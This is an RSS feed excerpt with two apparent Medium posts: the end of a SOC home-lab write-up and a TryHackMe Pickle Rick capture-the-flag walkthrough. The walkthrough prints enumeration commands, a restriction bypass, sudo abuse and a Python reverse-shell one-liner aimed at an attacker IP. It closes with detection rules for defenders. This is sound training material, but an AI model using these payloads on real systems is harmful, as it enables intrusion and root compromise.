T1021.004. Suspicious Process Execution catches bash spawning download tools like curl or wget, mapping to T1059. Multiple Failed Authentication watches for username enumeration attempts across different accounts. PowerShell Abuse on Windows uses Winlogbeat and Sysmon Event ID 1 to catch encoded PowerShell execution, mapping to T1059.001.</p><p><strong>The First Real Attack:</strong><br>I ran a brute force SSH attack from Kali using Hydra targeting the Ubuntu server. In under ten seconds Hydra generated 1,197 failed login attempts. Every single one appeared in Elasticsearch, ingested by Filebeat from the auth.log file.<br>The detection rule fired. The alert appeared in Kibana Security. I had a timestamp, a source IP, a target username, and an event count — exactly what a real SOC analyst sees during an incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naPwym-An-XwcE7tAERaTA.png" /><figcaption>figure 1.2 Brute Force Alert Detected</figcaption></figure><p>That moment is when hands-on learning becomes real understanding.<br>Threat Hunting With Real Data<br>After the simulations I ran three formal threat hunts using the data already in the SIEM. Threat hunting is not waiting for alerts it is proactively searching through logs looking for signs of compromise that rules may have missed.</p><p>Hunt one confirmed the brute force pattern: 1,197 failed attempts from a single IP targeting the root user, all within a ten second window on June 4th. Hunt two found 891 sudo events across the lab period and identified a critical logging gap sudo commands were not being fully captured in the message field, meaning privileged activity could not be fully audited. This is a real security finding. Hunt three established a baseline of 69 successful SSH sessions over thirty days, giving me a reference point for future anomaly detection.</p><p>Finding a security gap during a threat hunt and documenting it as a recommendation is exactly the kind of work that separates junior analysts from strong candidates.</p><p><strong>What the GitHub Repository Looks Like:</strong><br>Everything built in this lab lives in a public GitHub repository with organized folders for configs, detection rules, dashboards, attack simulations, threat hunt reports, screenshots, and a final professional lab report.</p><p>soc-home-lab/<br>├── configs/ All service configurations<br>├── detection-rules/ 6 KQL detection rules<br>├── dashboards/ 4 exported dashboards<br>├── attack-simulations/ 6 attack reports<br>├── threat-hunts/ 3 hunt reports<br>├── screenshots/ All evidence screenshots<br>└── reports/ This report</p><p>Employers and clients who visit the repository see real configuration files, exported Kibana dashboards, detection rules with MITRE mapping, and documented attack simulations with screenshots. That is verifiable, permanent proof of hands-on skill.</p><p><strong>What No Course Will Teach You:</strong><br>Log volume is brutal in ways you cannot appreciate until you see it. Your first instinct is to alert on everything. Your second instinct, after drowning in false positives from cron jobs and internal SSH sessions, is to understand why threshold tuning and baselining is where real SOC skill actually lives.<br>Sysmon changes your understanding of Windows security entirely. Once you see it capturing parent processes, full command line arguments, file hashes, and network connections at the process level, you understand why every serious enterprise SOC deploys it on every endpoint.<br>Documentation is an underrated technical skill. Writing clear, professional reports for every attack simulation and threat hunt forced me to articulate what I actually found and why it matters. That skill transfers directly to client deliverables and incident reports.</p><p><strong>Where to Start If You Want to Build Your Own:</strong><br>Start with VirtualBox and download Ubuntu Server 22.04 and Kali Linux. Follow the official Elastic documentation for ELK installation. Configure Filebeat to ship your auth.log file first it is the fastest path to real data. Write your first detection rule for brute force authentication failure. Run Hydra from Kali and watch the alert fire.<br>That first alert is the moment everything becomes real.</p><p>I am documenting this entire journey in a detailed handbook covering every command, every concept, and every screenshot from lab setup through threat hunting. The complete lab is already public on GitHub.</p><p><a href="https://github.com/HK101-cyber">https://github.com/HK101-cyber</a></p><p>If you are building something similar or have questions about the setup, drop them in the comments. Happy to help.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d2d874f15ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick CTF From cat Blocked to Root Shell (TryHackMe Walkthrough + Detection)]]></title>
            <link>https://medium.com/@hammad.k.sec/pickle-rick-ctf-from-cat-blocked-to-root-shell-tryhackme-walkthrough-detection-885365ed664e?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/885365ed664e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 22:03:41 GMT</pubDate>
            <atom:updated>2026-06-12T19:47:45.674Z</atom:updated>
            <content:encoded><![CDATA[<p>How I bypassed a restricted web shell, abused sudo NOPASSWD, and handled a filename with spaces all on a free TryHackMe room.</p><h3>📌 Introduction</h3><p><strong>Pickle Rick</strong> is a free TryHackMe room that simulates a real-world web application with a command injection panel. It’s rated <em>Easy</em> but teaches:</p><ul><li>Web enumeration with gobuster</li><li>Command injection restrictions and bypasses</li><li>Privilege escalation via sudo misconfiguration</li><li>Handling unusual filenames (spaces)</li><li>Reverse shell techniques</li></ul><p>In this post, I show <strong>every command</strong> and also provide <strong>detection &amp; mitigation</strong> for SOC teams.</p><p>🔗 Room: <a href="https://tryhackme.com/room/picklerick">Pickle Rick on TryHackMe</a></p><h3>Attack Walkthrough (Full)</h3><h3>Step 1 Nmap Enumeration</h3><pre>nmap -sV -sC -Pn 10.10.xxx.xxx</pre><p>Only ports 22 (SSH) and 80 (HTTP) were open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*3cG6_nSbbSQx6rBb_SomkQ.png" /></figure><h3>Step 2 Web Directory Brute Force (Gobuster)</h3><p>I used gobuster to discover hidden directories:</p><pre>gobuster dir -u http://10.10.xxx.xxx -w /usr/share/wordlists/dirb/common.txt</pre><p><strong>Important directories found</strong>:</p><ul><li>/assets (static files)</li><li>/robots.txt (disallow file)</li><li>/login.php (login page)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*eigwfNqiI86GaHJHrcobNQ.png" /></figure><h3>Step 3 Examining robots.txt and Page Source</h3><p>Visited <a href="http://10.10.xxx.xxx/robots.txt:">http://10.10.xxx.xxx/robots.txt:</a></p><pre>User-agent: *<br>Disallow: /whatever<br>Wubbalubbadubdub</pre><p>The strange word Wubbalubbadubdub looked like a password.</p><p>Then viewed the main page source (Ctrl+U in browser). Found an HTML comment:</p><p>html</p><pre>&lt;!-- Username: R1ckRul3s --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*o16qI6gpfDsZ9i3VbVeTIw.png" /></figure><h3>Step 4 Logging into /login.php</h3><p>Visited http://10.10.xxx.xxx/login.php and used:</p><ul><li>Username: R1ckRul3s</li><li>Password: Wubbalubbadubdub</li></ul><p>Success! I was presented with a <strong>command panel</strong> that executes system commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*SnpgC9lRSLLOUBOwr4PFIQ.png" /></figure><h3>Step 5 First Flag and cat Restriction</h3><p>I tried to list files:</p><pre>ls</pre><p>Output: Sup3rS3cretPickl3Ingred.txt and clue.txt</p><p>Then tried to read the flag:</p><pre>cat Sup3rS3cretPickl3Ingred.txt</pre><p><strong>Error</strong>: <em>“Command disabled to make it hard for future Rick”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*KqXQ9D7pYigxBWqMb5Va7g.png" /></figure><p><strong>Bypass</strong>: Used less instead:</p><pre>less Sup3rS3cretPickl3Ingred.txt</pre><p>he file content appeared — <strong>first flag obtained</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*ueGUET-M4tcxOnFkUBlhsQ.png" /></figure><h3>Step 6 Second Flag (Root Directory)</h3><pre>sudo ls /home/rick</pre><p>Output: second ingredients (note the space)</p><p>To read a file with a space, use quotes or backslash:</p><pre>sudo cat &quot;/home/rick/second ingredients&quot;</pre><p><strong>Second flag obtained</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*fCSCV55_yZuBL3O94MCNWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*7JygtGKs_ij_cjJtfcByUQ.png" /></figure><h3>Step 7 Third Flag (Home Directory with Space in Filename)</h3><pre>sudo ls /root</pre><p>Saw a file: 2nd.txt</p><p>Read it (using less again if cat blocked):</p><pre>sudo less /root/2nd.txt</pre><p><strong>Third flag obtained</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*h9CEbpmeyvRSGCNJnqmYQg.png" /></figure><p>All three flags collected.</p><h3>Step 8 Full Reverse Shell (Bonus)</h3><p>Even with a restricted panel, a reverse shell gave me full TTY access.</p><p>On my attacker machine:</p><pre>nc -lvnp 4444</pre><p>In the command panel (replace &lt;your_IP&gt; with your TryHackMe IP or AttackBox IP):</p><pre>sudo python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&lt;your_IP&gt;&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>Listener caught the shell, and whoami showed root.</p><h3>Detection &amp; Mitigation (Blue Team)</h3><p>This room is a goldmine for SOC analysts. Here’s how to detect each attack.</p><p>Attack PhaseDetection MethodMitigationDirectory brute force (gobuster)Web server logs showing 404/403 burstsRate limiting, WAF, hide unnecessary pathsCommand injectionWAF rules on |, ;, $(), python -cInput allowlisting; disable dangerous functionsBypass cat with lessProcess monitoring (Sysmon Event ID 1 on Linux)Restrict available binaries in web shellssudo -l showing NOPASSWDAuditd rule: -w /usr/bin/sudo -p x -k sudo_auditNever use NOPASSWD: ALL; use granular sudoersReverse shell (Python)Network egress filtering; Sysmon network eventsBlock outbound high ports (4444, 1337, etc.)</p><h3>Sigma Rule for Python Reverse Shell</h3><pre>title: Suspicious Python Reverse Shell<br>status: experimental<br>logsource:<br>    category: process_creation<br>    product: linux<br>detection:<br>    selection:<br>        Image|endswith: &#39;/python3&#39;<br>        CommandLine|contains: <br>            - &#39;socket.socket&#39;<br>            - &#39;connect((&#39;<br>            - &#39;subprocess.call&#39;<br>    condition: selection</pre><h3>Auditd Rule for sudo Abuse</h3><pre>-w /var/log/auth.log -p wa -k sudo_activity<br>-w /usr/bin/sudo -p x -k sudo_execution</pre><h3>📚 Key Takeaways</h3><ul><li><strong>Always run </strong><strong>gobuster</strong> – hidden directories like /login.php are common.</li><li><strong>When </strong><strong>cat is blocked</strong>, try less, more, head, tail, nl, strings, or od.</li><li><strong>Check </strong><strong>sudo -l</strong> – misconfigurations are an instant win.</li><li><strong>Files with spaces</strong> need quotes or backslashes — a good real-world lesson.</li><li><strong>Reverse shell bypasses nearly all web shell restrictions</strong>.</li></ul><h3>🔗 Full Walkthrough on GitHub</h3><p>All commands, screenshots, and detection rules are in my GitHub repo:<br>👉 <a href="https://github.com/HK101-cyber/TryHackMe-Walkthroughs/tree/main/pickle-rick">HK101-cyber/TryHackMe-Walkthroughs/pickle-rick</a></p><h3>📢 Connect with Me</h3><p>LinkedIn: Hammad Khan (<a href="https://linkedin.com/in/hammad-khan011">linkedin.com/in/hammad-khan011</a>)<br>GitHub: HK101-cyber (<a href="https://github.com/HK101-cyber">github.com/HK101-cyber</a>)<br>Reddit: HK101_Cyber (<a href="https://reddit.com/user/HK101_Cyber">reddit.com/user/HK101_Cyber</a>)<br>Email: hammad.k.sec@email.com</p><p>Open to remote SOC Engineer or Junior Pentesting roles.</p><h3>🏁 Final Words</h3><p>Pickle Rick is a small room, but it mirrors real-world scenarios: restricted web shells, misconfigured sudo, and unusual filenames. By documenting both <strong>red team exploits</strong> and <strong>blue team detections</strong>, you stand out as a well-rounded cybersecurity professional.</p><p><em>Have you solved Pickle Rick differently? Let me know in the comments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=885365ed664e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>